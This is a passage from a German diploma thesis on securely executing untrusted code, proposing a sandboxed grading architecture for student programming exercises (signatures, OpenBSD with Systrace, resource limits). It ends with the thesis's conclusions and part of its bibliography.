2. Transport-Problem: Angreifer dürfen keine Möglichkeit bekommen, durch speziell präparierte E-Mails und Anhänge, das Perl-Skript zu etwas veranlassen, was es gar nicht tun sollte.
3. Build-Problem: Die Regeln im *Makefile* dürfen nur den Quelltext compilieren und linken, nicht jedoch weitere Befehle ausführen.
4. Ausführungs-Problem: Das Programm darf nur die für die Übung vorgesehenen Mittel benutzen und die geforderte Aufgabe erfüllen.
5. Ressourcen-Problem: Das Programm darf die Ressourcen des Betriebssystems nur in für die Aufgabe angemessenen Maße für sich nutzen.
6. Portabilitäts-Problem: Die zu implementierende Lösung muss sowohl mit Unix- als auch Windows-Programmen umgehen können.

10.3. Lösungsvorschläge

Im Gegensatz zu den drei bereits vorgestellten Fallstudien existiert zur Zeit noch keine bereits implementierte Lösung für die geschilderten Probleme. Stattdessen wird an dieser Stelle der Versuch unternommen, einige sinnvoll erscheinende Vorschläge zu machen. Eine genaue Evaluation kann jedoch noch nicht vorgenommen werden.

10.3.1. Lösungsvorschläge für das Authentifizierungs-Problem

Das Authentifizierungs-Problem liegt nicht mehr ganz im Hauptfokus dieser Arbeit, soll an dieser Stelle jedoch der Vollständigkeit halber kurz behandelt werden. Bei der bisherigen Vorgehensweise müssen die Übungsaufgaben wie schon erwähnt per E-Mail an einen wissenschaftlichen Mitarbeiter gesandt werden. Da das E-Mail-Protokoll *POP3* ([102]) keine Prüfung, ob eine an das Mail-System gelieferte Nachricht tatsächlich von dem angegebenen Absender stammt, vorsieht, kann ein Angreifer ohne Weiteres seine Identität fälschen und womöglich einen ahnungslosen Studenten in Misskredit bringen.

An den institutseigenen Rechnersystemen können nur E-Mails unter der eigenen Benutzerkennung verschickt werden (Protokoll *SMTP AUTH*, [103]). Dies hindert jedoch niemanden, eine Nachricht über ein externes Mailsystem anliefern zu lassen.

Eine elegante Lösung, welche bereits für andere Übungen ([136]) des Lehrstuhles genutzt wird, sieht die Verwendung von digitalen Zertifikaten ([108]) vor. Jeder Student muss zu Anfang des Semesters persönlich ein Zertifikat beantragen. Bei erfolgreicher Identifikation des Studenten erhält dieser nun sein Zertifikat, bestehend aus einem „öffentlichen Schlüssel“, der jedem bekannt gemacht werden darf und einen nur für ihn selbst bestimmten „privaten Schlüssel“. Sämtliche Nachrichten, welche er von nun an an den Lehrstuhl sendet, werden mit Hilfe seines privaten Schlüssels „signiert“[78]. Diese signierte Nachricht kann mit dem öffentlichen Schlüssel verifiziert werden. Da eine Nachricht nur unter Kenntnis des privaten Schlüssels mit vertretbaren Aufwand signiert werden kann, lässt sich der Absender einer E-Mail nun zweifelsfrei feststellen. Nicht signierte Nachrichten werden bei der Abgabe von Übungsaufgaben schlichtweg nicht mehr akzeptiert.

Digitale Signaturen sind längst zu einer adäquaten Standardlösung derartiger Probleme avanciert und mühelos ohne große Anstrengungen einführbar. Alle gängigen Mail-Programme unterstützen die Erzeugung und Verifikation digitaler Signaturen, deren zugehörige Zertifikate ebenfalls mit kostenfreier Software ([43]) erstellt und verifiziert werden können.

10.3.2. Lösungsvorschläge für das Transport-Problem

Für die Lösung des Transport-Problems sollte zunächst das bis jetzt dafür eingesetzte Perl-Skript einem sorgfältigen formalen Reviewprozesses unterzogen werden. Zusätzlich empfiehlt

78 Signierung ist eine kryptographische Behandlung einer Nachricht bzw. ihres Hash-Wertes, die nur vom Inhaber des Signaturschlüssels vorgenommen werden kann und ihn als Besitzer dieser Nachricht ausweist.

sich der Einsatz von *Security-Scannern*, wie dem bereits vorgestellten ITS4 ([49], Abschnitt 4.9.), welche besonders sicherheitskritische Programmkonstrukte melden und Verbesserungsvorschläge machen. Dennoch können auch bei noch so sicherheitsbewusster Programmierung Fehler übersehen werden. Aus diesem Grunde sollten weitere Mechanismen zur Härtung bestehenden Codes, wie ein Abschnitt 6.7. beschrieben, eingesetzt werden. Der Vorschlag des Autors ist es, ein Open BSD System auf einer Alpha-Architektur für die Mail-Abholung und den anschließenden Transport-/Entpackungsprozess einzusetzen.

Open BSD wird weitläufig als ein sehr stabiles und sicherheitsoptimiertes Betriebssystem angesehen und kann sich damit rühmen, in den letzten acht Jahren nur ein Werkzeug in der Standardinstallation enthalten zu haben, das durch einen entfernten Angriff ausnutzbar gewesen wäre ([82]). Weiterhin enthält Open BSD bereits einen *Non-Executable-Stack* und einen *Binary-Loader*, der die *Address-Space-Layout-Randomization*-Technik anwendet (siehe Abschnitt 6.7.) . Durch diese Konzepte wird ein erfolgreich durchgeführter Angriff gegen den Perl-Interpreter immer unwahrscheinlicher. Da die Alpha-Architektur mit Open BSD eine sehr „exotische“ Konfiguration darstellt, sinkt zudem die Chance, Opfer eines „Standard-Exploits“ zu werden.

Zu guter Letzt ist Open BSD auch das einzige dem Autor bekannte Betriebssystem, was standardmäßig eine *System-Call-Interposition*-Software mitliefert. Systrace ([92], [93]) wurde bereits in Abschnitt 6.8. ausführlich beschrieben und ist eine sehr ausgereifte Lösung, welche auch für die *Security Infrastructure* von RealTimeBattle eingesetzt wurde (Abschnitt 7). Im Web existieren einige Projekte ([91], [73]), die optimierte Systrace-Policies von Open BSD Standardsoftware sammeln und veröffentlichen. Mit Hilfe von Systrace kann sehr einfach ein Profil der Systemrufe und ihrer Parameterbelegung angelegt werden, welche auftreten, wenn der Interpreter das Perl-Skript unter Verwendung einer „ordnungsgemäßen“ E-Mail ausführt. Nach einer kurzen Testphase und Verallgemeinerung der Systrace-*Policy* auf alle erlaubten Szenarien, könnte Systrace in einen Modus geschaltet werden, bei dem es alle Abweichungen von den Richtlinien verbietet und protokolliert.

Die Kombination all dieser Mittel sollte ausreichen, einen erfolgreichen Angriff auf das Perl-Skript nahezu unmöglich zu machen.

10.3.3. Lösungsvorschläge für das Build-Problem

Wie in der Einführung dieses Abschnittes beschrieben, muss jeder Student ein *Makefile* mit entsprechend benannten Zielen erstellen, welches vorschreibt, wie die Software compiliert und gebunden werden soll. Die dafür im *Makefile* stehenden Regeln können theoretisch beliebige Systemkommandos enthalten. Für sämtliche zu erstellenden Programme reichen jedoch Compiler, Assembler, Linker und ggf. *Objektcode-Stripper*[79] völlig aus. Manchmal geben Studenten weitere Ziele an, welche erzeugte Ressourcen wieder löschen, diese werden beim Test jedoch nicht aufgerufen.

Die Übungsaufgaben erfordern nur sehr einfache *Makefiles* (meistens ein bis drei Zeilen), die manuell sehr einfach durchgesehen werden können. Will man auch diesen Schritt automatisieren, empfiehlt der Autor einen ähnlichen Ansatz, wie schon in 10.3.2. beschrieben. An dieser Stelle sollte jedoch zunächst über das Portabilitäts-Problem gesprochen werden.

Die eingesandten Übungsprogramme können entweder für Linux/Unix als auch für Windows

79 Die beschriebenen Werkzeuge werden häufig auch als *Compiler-Tool-Chain* bezeichnet.

programmiert werden. Dabei sind die Aufgaben so gestellt, dass sämtliche erlaubten Bibliotheken sowohl für Linux als auch für Open BSD verfügbar sind. Zudem gestattet der Open BSD-Kernel auch die Emulation von Linux-Programmen. Für Windows-Programme könnte der Emulator wine ([134]) benutzt werden, um den Microsoft Compiler und nmake zur Auswertung von Makefiles zu nutzen.

Die Erstellung der Systrace-Richtliniendateien gemäß des *Least-Privilege-Access-Principle* für alle beteiligten Werkzeuge könnte sich als langwieriger Prozess gestalten. Einen ersten Ansatz liefert eine automatisch generierte Richtliniendatei des Übersetzungsprozesses der Musterlösung. Die dabei getätigten Systemrufe und ihre Parameterbelegungen sollten bei ähnlich gearteten Programmen nicht signifikant voneinander abweichen. Auf diese Weise würde sofort auffallen, wenn ein eingesandter Quellcode versuchen sollte, die Aufgabe mit Hilfe einer „verbotenen“ Bibliothek zu lösen. Der Linker wöllte in diesem Fall plötzlich Lesezugriff auf eine Datei (die Bibliothek), die er vorher niemals benötigte.

Der Autor gibt sich jedoch nicht der Illusion hin, dass trotzdem weiterhin ab und zu eine manuelle Intervention nötig sein würde. Für diesen Fall könnte Systrace in einen interaktiven Modus geschaltet werden. Jedes Mal, wenn ein bis jetzt weder erlaubter noch verbotener Systemruf auftreten sollte, meldet sich Systrace grafisch oder textbasiert beim Benutzer und erwartet eine Entscheidung (verbieten/erlauben), die entweder dauerhaft oder nur für diesen einen Aufruf gelten soll. Nach einer gewissen Anzahl von Build-Prozessen sollte somit die Richtliniendatei immer vollständiger werden und der Build-Prozess völlig automatisiert ablaufen.

Eine ebenfalls gangbare Lösung wäre es, die *Makefiles* nur manuell zu bewerten, für den automatisierten *Build*-Prozess jedoch „sichere“ Makefiles zu benutzen. Dies funktioniert jedoch nur dann, wenn die Übungsaufgabe genau spezifiziert, wie die den Quellcode enthaltenen Dateien heißen sollen. Eine Ausnutzung von Lücken in der *Compiler-Tool-Chain* durch speziell präparierten „Quellcode“ kann im Gegensatz zum ersten Vorschlag mit diesem Ansatz nicht verhindert werden.

10.3.4. Lösungsvorschläge für das Ausführungs-Problem

Hat man das Build-Problem gelöst, sollte das Ausführungs-Problem keine Herausforderung mehr darstellen, sofern man von folgenden Prämissen ausgeht:

- Es muss weiterhin die Bereitschaft bestehen, ab und zu noch manuell in den Bewertungsprozess einzugreifen.
- Es muss für jede Übungsaufgabe eine Musterlösung existieren.
- Die Aufgaben sollten so gestellt sein, dass verschiedene Lösungen sich auf Systemrufebene wieder gleichen.
- Die Programme sollten keine grafische Oberfläche besitzen[80].

Sind alle Vorbedingungen erfüllt, gestaltet sich die Lösung analog zu den zwei vorherigen Unterabschnitten. Idealerweise sollte die automatisch erstellte Richtliniendatei für die Ausführung der Musterlösung bereits alle Systemrufe und erlaubte Parameterkombinationen

80 Ansonsten müsste zusätzlich ein Protokollfilter für Befehle zum X-Server wie im Janus-System ([44]) eingesetzt werden.

berücksichtigen. Erste durchgeführte Tests zwischen Musterlösungen und korrekten Programmen lassen exakt dies vermuten. Weicht ein eingesandtes Programm dennoch von der Richtliniendatei ab, hat dies typischerweise zwei Gründe. Zum einen wurden Features des Betriebssystems (und damit Systemrufe) genutzt, die explizit nicht für die Lösung der Aufgabe vorgesehen waren, oder aber es wurde versucht Ressourcen in einer Art und Weise zu nutzen, wie es nicht gestattet war. Besonders häufig manifestierte sich der zweite Grund im Zugriff auf falsche Dateinamen, oft bedingt durch einen fehlerhaften Algorithmus.

Systrace kann zudem behilflich sein, die Einhaltung eines robusten Programmierstils zu testen. Systrace ist in der Lage, interaktiv oder richtliniengesteuert, beliebige (auch unsinnige) Fehlercodes als Rückgabe von Systemrufen zu generieren. Somit können Fehlersituationen simuliert werden, die unter normalen Umständen kaum zu erzwingen gewesen wären.

Ein zweiter Vorschlag zur Lösung des Ausführungs-Problems betrifft die Ausführung der Programme auf ihren nativen Zielsystemen. Unter Linux könnte ebenfalls das Systrace-Tool genutzt werden; die Richtliniendateien sollten kaum abweichen[81]. Die Windows-Programme könnten in einer virtuellen Maschine, deren Image nach jedem Testlauf neu aufgesetzt wird, unter stark eingeschränkten Rechten ausgeführt werden. Für Linux würde sich ebenfalls eine virtuelle Maschine oder eine Virtualisierungslösung wie VServer ([125], siehe Abschnitt 6.8.) oder ein Open BSD Jail ([50]) anbieten.

Diese Lösungsstrategie weist jedoch einige Schwierigkeiten auf: Da manche Übungsprogramme auch rechnerübergreifende Prozesskommunikation erfordern, müsste es der virtuellen Maschine erlaubt sein, über das Netzwerk zu kommunizieren. Wie in Abschnitt 6.9. beschrieben, erlauben die herkömmlichen Betriebssystemmittel nur eine grobe Beschränkung des Netzwerkverkehrs und anderer Ressourcen. Die Nutzung nicht vorgesehener Betriebssystemmittel könnte nicht so einfach erkannt werden, wie bei einem *System-Call-Interposition*-basierten Ansatz. Ein *System-Call-Interposition*-Tool für Windows ist dem Autor allerdings nicht bekannt und dürfte nur schwer zu finden sein, da die Windows Kernelquellen nicht für jedermann verfügbar sind. Die Auswirkungen der Ausnutzung eines Betriebssystemfehlers würden zwar in der virtuellen Maschine beschränkt, der genaue Grund, wie es dazu kam, jedoch im Ungewissen bleiben: Man weiss nur, „dass“ etwas bei der Ausführung des zu testenden Programmes „schief lief“, jedoch nicht „was“.

Aus diesen Gründen würde der Autor eher zu dem zuerst vorgestellten Ansatz tendieren.

10.3.5. Lösungsvorschläge für das Ressourcen-Problem

Das Ressourcen-Problem ist wie schon das Authentifizierungs-Problem ein Problem, für welches es schon lange Standardlösungen für die verschiedenen Betriebssysteme gibt. Unter den Unices werden die Systemrufe `setrlimit` und `quotactl` *([117])*, unter Windows ein *Job-Objekt* ([105]) genutzt, um Ressourcen wie Hauptspeicher, Rechenzeit und Plattenplatz zu beschränken. Nähere Details können in Abschnitt 6.9. sowie im Quellcodebeispiel (RealTimeBattle *Security-Infrastructure*) im Anhang in Erfahrung gebracht werden.

Die entsprechenden Befehle (z. B. ulimit) müssen lediglich im Perl-Skript vor der Ausführung der zu testenden Programme stehen. Versucht nun ein eingesandtes Programm die eingestellten Ressourcen-Limits zu überschreiten, erhält es zunächst eine Warnung (unter den

81 Dies sind zumindestens die in der RealTimeBattle-Fallstudie gemachten Erfahrungen (siehe Abschnitt 7).

Unices ein spezielles Signal) und wird bei Nichtbeachtung mit einem entsprechenden *Exit-Code* beendet.

10.3.6. Lösungsvorschläge für das Portabilitäts-Problem

Das Portabilitäts-Problem wurde bereits in den Abschnitten 10.3.3. und 10.3.4. behandelt. Dabei wurden die Programme je nach Ansatz nativ auf ihrer Zielplattform oder aber in einem Emulator unter einem Host-Betriebssystem ausgeführt, für welches geeignetere Tools zur sicheren Ausführung nicht vertrauenswürdiger Programme bereit standen.

10.4. Fazit

Obwohl wie schon erwähnt noch keine konkrete Lösung implementiert werden konnte, erscheint das Vorhaben durchaus realistisch. Es wurde für jedes Teilproblem mindestens ein Vorschlag unterbreitet, wie es zu lösen wäre. Wie schon beim Distributed Control Lab (Abschnitt 9) zeichnet sich die Tendenz ab, Konzepte aus den verschiedensten Kategorien zur sicheren Ausführung nicht vertrauenswürdiger Programme in Kombination zu nutzen. Vielleicht wird schon bei der nächsten Durchführung der Vorlesung „Betriebssystemarchitektur“ ein erster Prototyp getestet werden können.

10.5. Verwandte Arbeiten

Weltweit werden Programmierübungsaufgaben an Universitäten und anderen Bildungseinrichtungen teils automatisch und teils manuell kontrolliert. [68], [123], [6] und [132] geben einen guten Überblick über das Spektrum bestehender Systeme. Die dabei eingesetzten Systeme sind sehr vielfältig und variieren zum Teil sogar von Vorlesung zu Vorlesung desselben Lehrstuhls. Dem Autor sind allein an der Universität Potsdam fünf verschiedene Systeme bekannt, die sich allerdings allesamt kaum mit allen beschriebenen Problemen auseinandersetzen. Größtenteils wird dem Studenten vollkommen vertraut und der Quelltext vor der Ausführung noch einmal durchgesehen. Das sich jedoch alle sicherheitskritischen Fehler durch statische Quellcodeanalyse nur schwerlich finden lassen, sollten die Abschnitte 3 und 4 gezeigt haben.

Ein weiterhin sehr gebräuchlicher Ansatz ist es, die zu testenden Programme mit einem extrem beschränkten Rechtekontext auf einem isolierten Testrechner auszuführen und danach alle angelegten Ressourcen wieder zu entfernen. Dieser Ansatz erinnert stark an die von Asparagus (siehe Abschnitt 8) implementierte Lösung und ist durchaus legitim, solange keine Verbindung zum Internet besteht bzw. für die zu erfüllende Aufgabe bestehen muss und die Programme sämtliche Mechanismen des Betriebssystems zur Lösung einsetzen dürfen. In jedem Fall sind das Betriebssystem und die zugehörigen Dienstwerkzeuge immer auf dem neusten Stand zu halten.

11. Schlussbetrachtungen

Die vorliegende Arbeit setzte sich in umfassender Weise mit der sicheren Ausführung nicht vertrauenswürdiger Programme auseinander. Zunächst wurde motiviert, in welchen Bereichen und auf welch vielfältige Weise Situationen entstehen, in denen Software, deren Erstellung man nicht selbst kontrollieren kann (*Untrusted Code*), eingesetzt werden muss, ohne genau zu wissen, welchen Schaden diese potenziell mutwillig oder versehentlich anzurichten vermag.

Sichere Ausführung von *Untrusted Code* wurde so definiert, dass eine zu analysierende Applikation nur Ressourcen benutzen und Aktionen durchführen darf, die der Benutzer ihr vorher zugestanden hat. Der Schwerpunkt wurde dabei auf die sichere Ausführung von bereits existierender COTS-Software gelegt. Grundsätzlich standen zur Erreichung der sicheren Ausführung nicht vertrauenswürdiger Programme zwei Basismethoden bereit, welche in Abschnitt 2 näher beleuchtet wurden.

Die statische Analyse als erste Variante versuchte auf Basis des Quellcodes sicherzustellen, dass sich eine zu untersuchende COTS-Applikation gemäß der aufgestellten Richtlinien verhält. Abschnitt 3 stellte sechs notwendige Kriterien für jede konkrete Analysemethode dieser Kategorie auf, welche erfüllt sein müssen, um dieses Ziel tatsächlich erreichen zu können:

1. Verfügbarkeit des Quellcodes
2. Unterstützung der Programmiersprache
3. Zulassung von „echten“ Programmen
4. Bewältigung der auftretenden Komplexität
5. Schutz vor bösartiger Speichermanipulation
6. Garantie für die Umgebung des laufenden Prozesses

Abschnitt 4 setzte sich mit der Frage auseinander, ob speziell für die Programmiersprachen C und C++ diese Kriterien erfüllt werden können. Dabei wurde zunächst gezeigt, wie durch rigorose Einschränkung der Sprachmittel und Aufstellung von Programmierrichtlinien eine derartige Methode möglich gemacht werden könnte. Berücksichtigt man allerdings die Art und Weise, wie COTS-Applikationen die Sprache C und C++ einsetzen, scheint eine Erfüllung der sechs Kriterien nach Ansicht des Autors nicht möglich. Die dagegen sprechenden Gründe wurden nach den Problemfeldern „Programmgröße und Interferenz“, „Semantik“, „Programmfluss“ und „Zeigerarithmetik“ gegliedert.

Die dynamische Analyse als zweite Basismethode ist nicht auf den Quellcode der zu analysierenden Applikation angewiesen, sondern überwacht das Programm zur Laufzeit und schreitet bei einer Richtlinienübertretung sofort ein. Abschnitt 5 formulierte die sechs Kriterien für die sichere Ausführung nicht vertrauenswürdiger Programme im Sinne der dynamischen Analyse folgendermaßen um:

1. Verfügbarkeit der Binärdaten und eventueller Modifikationserlaubnis
2. Unterstützung des Betriebssystems/Hardwarearchitektur
3. Zulassung von „echten“ Programmen

4. Übersicht über den Betriebssystemzustand
5. Schutz vor bösartiger Speichermanipulation
6. Garantie für die Prozessumgebung

Abschnitt 6 untergliederte zunächst die Ansätze im Bereich der dynamischen Analyse in die Subkategorien Quellcodesubstitution, Binärcodemodifikation, Maschinencodeinterpretation, *Intrusion-Detection*, Virtuelle Maschinen/*Safe Languages,* Mechanismen zur „Härtung" von bestehendem Code, *SandBoxing/System-Call-Interposition*, herkömmliche Betriebssystemmittel und *Access-Control-Lists/Domain-Type-Enforcement*. Für jede Kategorie wurde untersucht und begründet, welche Kriterien sie prinzipiell erfüllen kann. Dabei können nach Ansicht des Autors nur die letzten drei hier aufgezählten Kategorien sämtliche Kriterien erfüllen, wenn das zu kontrollierende Szenario eine hinreichende Komplexität erreicht. Anschließend wurden jeweils eine Vielzahl von konkreten Lösungen aus den Bereichen kurz vorgestellt und nach den Gesichtspunkten Verfügbarkeit, Ausgereiftheit, Korrektheit und Performance bewertet.

Die nachfolgenden Abschnitte beschäftigten sich jeweils mit einer konkreten Fallstudie, welche zur Garantie der sicheren Ausführung nicht vertrauenswürdiger Programme eine oder mehrere zuvor vorgestellte Konzepte nutzten. Bei der Erläuterung der jeweiligen Lösungen wurden an geeigneter Stelle explizit auf diese Konzepte verwiesen, die daraus resultierenden Konsequenzen beurteilt und mögliche verbleibende Schwachstellen aufgezeigt.

Das Programmierspiel *RealTimeBattle* wird bei der nächsten Weltmeisterschaft eine vom Autor implementierte *Security-Infrastructure* nutzen, die auf dem Prinzip der *System-Call-Interposition* aufsetzt.

Asparagus, ein Bechmarksystem im Bereich der Antwortmengenprogrammierung kommt vollständig mit herkömmlichen Betriebssystemmitteln aus.

Das Distributed Control Lab (DCL) überwacht und schützt seine Experimentieranordnungen mittels verschiedenster Lösungen aus dem Bereich der statischen und dynamischen Analyse, wobei der Schwerpunkt in der Kategorie Virtuelle Maschinen/*Safe Languages* zu finden ist.

Für die semiautomatische Korrektur der Übungsaufgaben der Vorlesung „Betriebssystemarchtitektur" stellt der Autor eine mögliche Architektur vor, die wiederum auf statischer Analyse und *SandBoxing* bzw. *System-Call-Interposition* basiert.

Schlussendlich ist festzustellen, dass die sichere Ausführung nicht vertrauenswürdiger Programme keinesfalls nur Wunschdenken ist. Der Autor hofft, mit dieser Arbeit sowohl den Leser für die zu beachtenden Schwierigkeiten sensibilisiert zu haben, welche auf diesem Gebiet typischerweise auftreten. Mit den sechs notwendigen Kriterien und der Kategorisierung der dynamischen Ansätze ist eine Möglichkeit geschaffen worden, nicht in der Arbeit vorgestellte Lösungen einzuordnen und ihre Effektivität abschätzen zu können.

Besondere Mühe wurde in die Beschreibung und Auswahl von bereits existierenden Lösungen gesteckt, die durch eine Vielzahl von weiterführenden Quellen näher betrachtet werden können. Auf diese Weise hat der Leser die Möglichkeit, seine Probleme auf diesem Gebiet mittels einem Standardprogramm zu lösen, statt eine zeitintensive Neuimplementierung mit ihren üblichen „Kinderkrankheiten" zu bemühen.

Literaturverzeichnis

[1] Adamantix; http://www.adamantix.org; Stand: September 2005.

[2] Agouros et al.; *Regel-recht*; Linux- Magazin 01, S. 38-47, 2003.

[3] Alexandrov et al.; *Consh: A confined execution environment for internet computations* ; Usenix Symposium 1999, 1998.

[4] ANSI C++ Standard; http://webstore.ansi.org/ansidocstore/product.asp?sku=INCITS%2FISO%2FIEC+14882%2D2003; Stand: September 2005.

[5] Antoniol G. et al.; *Impact of Function Pointers on the Call Graph*; European Conference on Software Maintenance and Reengineering, S. 51-59, 1999.

[6] Arnow, David; Barshay, Oleg; *WebToTeach: An Interactive Focused Programming Exercise System*; 29th ASEE/IEEE Frontiers in Education Conference, S. 1-6, 1999.

[7] Asparagus; http://www.asparagus.cs.uni-potsdam.de/; Stand: September 2005.

[8] Asparagus Folien; http://www.cs.uni-potsdam.de/wv/lehre/Material/WebBench/Folien/Asparagus_Paul.pdf; Stand: September 2005.

[9] Austin, Todd et al.; *Efficient Detection of All Pointer and Array Access Errors*; Conference on Programming Language Design and Implementation, S. 290-301, 1994.

[10] Balfanz, Dirk; Simen, Daniel; *WindowBox: A simple security model for the connected desktop*; In Proceedings of the 4th USENIX Windows Systems Symposium, S. 1-12, 2000.

[11] Baratloo et al.; *Transparent Run-Time Defense Against Stack Smashing Attacks*; Proceedings of the USENIX Annual Technical Conference 2000, 2000.

[12] Battistoni et al.; *A Host Intrusion Prevention System for Windows Operating Systems* ; ESORICS 2004, LCNS 3193, S. 352-368, 2004.

[13] Beckmann; *Krieg der Roboter*; Linux-Magazin 04, S. 130 ff., 2000.

[14] Bernaschi et al.; *Remus: a security-enhanced operating system* ; ACM Trans. Information and Security, 5(1), S. 36-61, 2002.

[15] Betriebssystemarchitektur Übungsaufgaben; http://www.dcl.hpi.uni-potsdam.de/uebung/; Stand: September 2005.

[16] Block et al.; *Automated Performance Prediction of Message-Passing Parallel Programs*; Proceedings of Supercomputing '95. IEEE Computer Society Press, 1995.

[17] Borchert, Paul; *Asparagus*; Universität Potsdam, Diplomarbeit, 2005.

[18] Bounds Checking for C; http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html; Stand: September 2005.

[19] Budach, Lothar; *Environments, Labyrinths and Automata*; Lectures Notes in Computer Science, S. 54-64, 1977.

[20] C Code Analyzer; http://www.drugphish.ch/~jonny/cca.html; Stand: September 2005.

[21] Castle Linux; http://castle.altlinux.ru; Stand: September 2005.

[22] CCMalloc; http://www.inf.ethz.ch/personal/biere/projects/ccmalloc/; Stand: September 2005.

[23] Chinchani et al.; *Archerr: Runtime Environment Driven Program Safety*; ESORICS 2004, LCNS 3193, S. 385-406, 2004.

[24] Co, Calvin; *Logic Induction of Valid Behavior Specifications for Intrusion Detection*; 2000 IEEE Symposium on Security and Privacy, S. 142-156, 2000.

[25] Cowan et al.; *StackGuard: Automatic adaptive detection and prevention of buffer overflow attacks*; Proceedings of the 7th Usenix Security Symposium, S. 63-77, 1998.

[26] Cowan et al.; *Format Guard: Automatic Protection from printf string vulnerabilities*; 10th Usenix Security Symposium, 2001.

[27] Crispin et al.; *SubDomain: Parsimonious Server Security*; USENIX 14th Systems Administration Conference (LISA), 2000.

[28] Dan et al.; *Chakravyuha: A sandbox operating system environment for controlled execution of alien code* ; IBM T.J. Watson Research Center, Technical Report 20742, 1997.

[29] De Lucia, Andrea; Munro, Malcolm; *Program comprehension in a reuse reengineering environment*; 1 st Durham workshop on program comprehension, 1995.

[30] Defeating solar designer non-executable stack patch; http://securityfocus.com/archive/1/8470; Stand: September 2005.

[31] Distributed Control Lab; http://www.dcl.hpi.uni-potsdam.de/research/; Stand: September 2005.

[32] Electronic Fence; http://perens.com/FreeSoftware/; Stand: September 2005.

[33] Engarde Linux; http://www.engardelinux.org; Stand: September 2005.

[34] Erickson, Jon; *Hacking : the art of exploitation*; No starch, 1st edition, 2003.

[35] Erlingsson et al.; *SASI enforcement of security policies: A retrospective*; WNSP: New Security Paradigms Workshop, ACM Press, 2000.

[36] Frantzen et al.; *Stackghost: Hardware facilitaded stack protection* ; In Proceedings of the 1996 IEEE Symposium on Research in Security and Privacy, S. 120 – 128, 2001.

[37] Fraser et al.; *Hardening COTS software with generic software wrappers* ; IEEE Symposium on Security and Privacy, S. 2-16, 1999.

[38] Garfinkel; *Traps and Pitfalls: Practical Problems in System Call Interposition*; In Proc. Network and Distributed Systems Security Symposium 2003, S. 163-176, 2003.

[39] Garfinkel et al.; *Ostia: A Delegating Architecture for Secure System Call Interposition* ; Internet Society's 2004 Symposium on Network and Distributed System Security, 2004.

[40] Gaugne, Ronan; *Static Debugging Of C Programs: Detection Of Pointer Errors In Recursive Data Structures* ; RR-3232, 1997.

[41] Gelfond, M.; Lifschitz, S.; *Classical negation in logic programs and disjunctive databases*; New Generation Computing, S. 365-385, 1991.

[42] Ghormley et al.; *SLIC: An Extensibility System for Commodity Operating Systems*; In Proceedings of the Usenix 1998 Annual Technical Conference, 1998.

[43] GNU Privacy Guard; http://www.gnupg.org/; Stand: September 2005.

[44] Goldberg et al.; *A secure environment for Untrusted Helper Applications* ; In Proceedings of the 6th Usenix Security Symposium, 1996.

[45] Goodwin et al.; *Flusen-Sieb*; Linux-Magazin 05, S. 90-93, 2003.

[46] Grohmann; *Regel-Praxis*; Linux-Magazin 02, S. 62-69, 2003.

[47] grsecurity; http://www.grsecurity.org; Stand: September 2005.

[48] Hasso Plattner Institut Potsdam; ; Stand: September 2005.

[49] ITS4; http://www.cigital.com/papers/download/its4.pdf; Stand: September 2005.

[50] Jails: Confining the omnipotent root; http://docs.freebsd.org/44doc/papers/jail/jail.html; Stand: September 2005.

[51] Java; http://www.java.sun.com; Stand: September 2005.

[52] Java Sicherheitslücken; http://java.sun.com/sfaq/chronology.html; Stand: September 2005.

[53] Job-Objekte in Solaris 10; http://docs.sun.com/app/docs/doc/817-1592/6mhahuoim?a=view; Stand: September 2005.

[54] Kaladix; http://www.kaladix.org; Stand: September 2005.

[55] Kernigan; Ritchie; *Programmieren in C*; Hanser Verlag, 2. Ausgabe, 1990.

[56] Kiram; *Gedächtnis Training*; Linux-Magazin 02, S. 102-107, 2004.

[57] Kiram; *Vollwaschmittel*; Linux-Magazin 03, S. 52-56, 2003.

[58] Kirianski et al.; *Secure Execution Environment via Program Shepherding*; 11th USENIX Security Symposium, S. , 2002.

[59] Kruegel, Christopherl et al.; *On the detection of Anomalous System Call Arguments*; ESORICS 2003, LCNS 2808, S. 326-343, 2003.

[60] Kurzvorstellung BSA; http://www.dcl.hpi.uni-potsdam.de/LV/BSArch/; Stand: September 2005.

[61] Landi; *Undecidability of Static Analysis*; ACM Letters on Programming Languages and Systems 1, S. 323-337, 1992.

[62] Larochelle et al.; *Statically Detecting Likely Buffer Overflow Vulnerabilities*; 10 th USENIX Security Symposium, S. 177-190, 2002.

[63] LeFebvre; *Restricting Network Access to System Daemons under Sun OS*; In Proceedings of the 3rd Usenix Unix Security Symposium, S. 93-103, 1992.

[64] Lehrstuhl Betriebssysteme und Middleware; http://www.dcl.hpi.uni-potsdam.de; Stand: September 2005.

[65] Lifschitz; *Answer set planning*; In Proceedings of the 1999 International Conference on Logic Programming, S. 23-37, 1999.

[66] Lifschitz, V.; *Foundations of logic programming*; Principles of Knowledge Representation, CSLI Publications, S. 69-127, 1996.

[67] Lippner, Steven; *Security and Source Code Access, Issues and Realities*; 2000 IEEE Symposium on Security and Privacy, S. 124-125, 2000.

[68] Luck, Michael; Joy, Mike; *A Secure On-Line Submission System*; Software Practice and Experience, Vol. 8, S. 721-740, 1999.

[69] MacGraw, Gary; *Will openish source really improve security?*; 2000 IEEE Symposium on Security and Privacy, S. 128-129, 2000.

[70] Medusa; http://medusa.fornax.sk; Stand: September 2005.

[71] Meyers, Scott; *Effective STL*; Addison Wesley, 1. Ausgabe, 2001.

[72] Microsoft Code-Acces-Security; http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpguide/html/cpconcodeaccesssecurity.asp; Stand: September 2005.

[73] Monkey.org; http://www.monkey.org/; Stand: September 2005.

[74] More thoughts on a new jail() system call; http://www.uwsg.iu.edu/hypermail/linux/kernel/0207.2/0534.html; Stand: September 2005.

[75] Necula; *CCured: Type- safe Retrofitting of Legacy Code*; Symposium on Principles of Programming Languages, S. 128-139, 2002.

[76] Necula; *Proof Carrying Code*; The 24th ACM SIGPLAN-SIGACT Symposium on Principles of Programming Languages, S. 106-119, 1997.

[77] Nelson; *Systems Programming with MODULA-3*; Prentice Hall, 1st edition, 1991.

[78] Neubersch; *Reinigungskräfte*; Linux-Magazin 04, S. 40-42, 2005.

[79] Neumann, Peter; *Robust Nonproprietary Software*; 2000 IEEE Symposium on Security and Privacy, S. 122-123, 2000.

[80] Nicolai, Johannes; RSBAC - Who is root anyway; http://www.rsbac.org/doc/media/hpi2005-handout.pdf; Stand: September 2005.

[81] Non executable data pages; http://pageexec.virtaulave.net/pageexec.txt; Stand: September 2005.

[82] Open BSD; http://www.openbsd.org/; Stand: September 2005.

